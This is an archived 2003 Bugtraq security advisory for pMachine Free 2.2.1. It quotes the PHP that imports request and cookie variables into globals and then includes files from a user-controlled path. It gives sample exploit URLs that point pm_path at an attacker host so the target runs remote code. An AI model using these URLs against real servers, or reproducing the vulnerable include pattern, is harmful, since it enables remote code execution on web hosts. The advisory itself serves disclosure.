pMachine (PHP) : Include() Security Hole

From: Frog Man (leseulfrog_at_hotmail.com)
Date: 06/23/03

  • Next message: eip_at_oakey.no-ip.com: "Myserver 0.4.1 DOS.."
    To: bugtraq@securityfocus.com
    Date: Mon, 23 Jun 2003 17:05:12 +0200
    
    

    Informations :
    °°°°°°°°°°°°°
    Language : PHP
    Version : Free 2.2.1
    Website : http://www.pmachine.com
    Problem : Include() Security Hole

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°
    This will work if register_globals is ON *OR* OFF.
    /pm/lib.inc.php :
    -------------------------------------------------------------
    if (isset($HTTP_COOKIE_VARS))
    {
       while(list($var,$val)=each($HTTP_COOKIE_VARS))
       {
           $$var=$val;
       }
    }
    if (isset($HTTP_GET_VARS))
    {
       while(list($var,$val)=each($HTTP_GET_VARS))
       {
           $$var=$val;
       }
    }
    if (isset($HTTP_POST_VARS))
    {
       while(list($var,$val)=each($HTTP_POST_VARS))
       {
           $$var=$val;
       }
    }
    if (isset($HTTP_SERVER_VARS))
    {
       while(list($var,$val)=each($HTTP_SERVER_VARS))
       {
           $$var=$val;
       }
    }

    include ("{$pm_path}config$sfx");

    if ($debug == 1)
       error_reporting(E_ALL);
    else
       error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);

    include ("{$pm_path}db/db.$database$sfx");
    include ("{$pm_path}db/db.tables$sfx");
    include ("{$pm_path}lib/pmcode.fns$sfx");
    include ("{$pm_path}lib/archives.fns$sfx");
    include ("{$pm_path}lib/benchmark.class$sfx");
    include ("{$pm_path}lib/birthday.fns$sfx");
    include ("{$pm_path}lib/calendar.fns$sfx");
    include ("{$pm_path}lib/category.fns$sfx");
    include ("{$pm_path}lib/censor.fns$sfx");
    include ("{$pm_path}lib/comment.fns$sfx");
    include ("{$pm_path}lib/deprecated.fns$sfx");
    include ("{$pm_path}lib/email.fns$sfx");
    include ("{$pm_path}lib/encoded.email$sfx");
    include ("{$pm_path}lib/forum.fns$sfx");
    include ("{$pm_path}lib/hitcounter.fns$sfx");
    include ("{$pm_path}lib/hittracking.fns$sfx");
    include ("{$pm_path}lib/ip.fns$sfx");
    include ("{$pm_path}lib/linking.fns$sfx");
    include ("{$pm_path}lib/mailinglist.fns$sfx");
    include ("{$pm_path}lib/member.fns$sfx");
    include ("{$pm_path}lib/memberfiles$sfx");
    include ("{$pm_path}lib/message.fns$sfx");
    include ("{$pm_path}lib/minicalendar.fns$sfx");
    include ("{$pm_path}lib/password.fns$sfx");
    include ("{$pm_path}lib/pblock.fns$sfx");
    include ("{$pm_path}lib/search.fns$sfx");
    include ("{$pm_path}lib/shared.fns$sfx");
    include ("{$pm_path}lib/stats.fns$sfx");
    include ("{$pm_path}lib/tellafriend.fns$sfx");
    include ("{$pm_path}lib/timelock.fns$sfx");
    include ("{$pm_path}lib/weblog.fns$sfx");
    include ("{$pm_path}cp/xmlparser$sfx");
    include ("{$pm_path}cp/rss.cp$sfx");
    include ("{$pm_path}xmlrpc/ping.fns$sfx");
    include ("{$pm_path}xmlrpc/xmlrpc.inc");
    ---------------------------------------------------------------------

    Exploit :
    °°°°°°°
    http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=.txt with :
    http://[attacker]/config.txt
    or
    http://[target]/pm/lib.inc.php?pm_path=http://[attacker]/&sfx=/badcode.txt
    with :
    http://[attacker]/config/badcode.txt

    etc...

    Patch :
    °°°°°°°
    A patch can be found on http://www.phpsecure.info.

    More Details In French :
    °°°°°°°°°°°°°°°°°°°°°°
    http://www.frog-man.org/tutos/pMachineFree2.2.1.txt

    _________________________________________________________________


  • Next message: eip_at_oakey.no-ip.com: "Myserver 0.4.1 DOS.."

    Relevant Pages

    • Re: Python and Flaming Thunder
      ... eventually the PHP fad will die out. ... customer happiness the New York Times uses hand-coded HTML. ... data descriptor language, PHP is a process descriptor ... well-known website claimed that they handcode is a big news to ...
      (comp.lang.python)
    • [VulnWatch] pMachine (PHP) : Include() Security Hole
      ... Language: PHP ... Website: http://www.pmachine.com ... Problem: IncludeSecurity Hole ...
      (VulnWatch)
    • Re: PHP XML
      ... language but I will require it to call a php based website to get data ... The new site will accept the data as XML. ...
      (alt.php)
    • What is PHP?
      ... I just learned that this language exists...can anyone tell me what it is good ... I wanted to creat a new website. ... Should I use PHP or Frontpage? ...
      (alt.php)
    • Re: Breaking backwards compatibility - good or bad?
      ... coming and are needed to anything really big and useful in PHP. ... command or statement in the language that is going to be made invalid ... The PHP team tries very hard not to break CORRECT scripts. ... "Introducing case-sensitivity for variables and functions names has ...
      (comp.lang.php)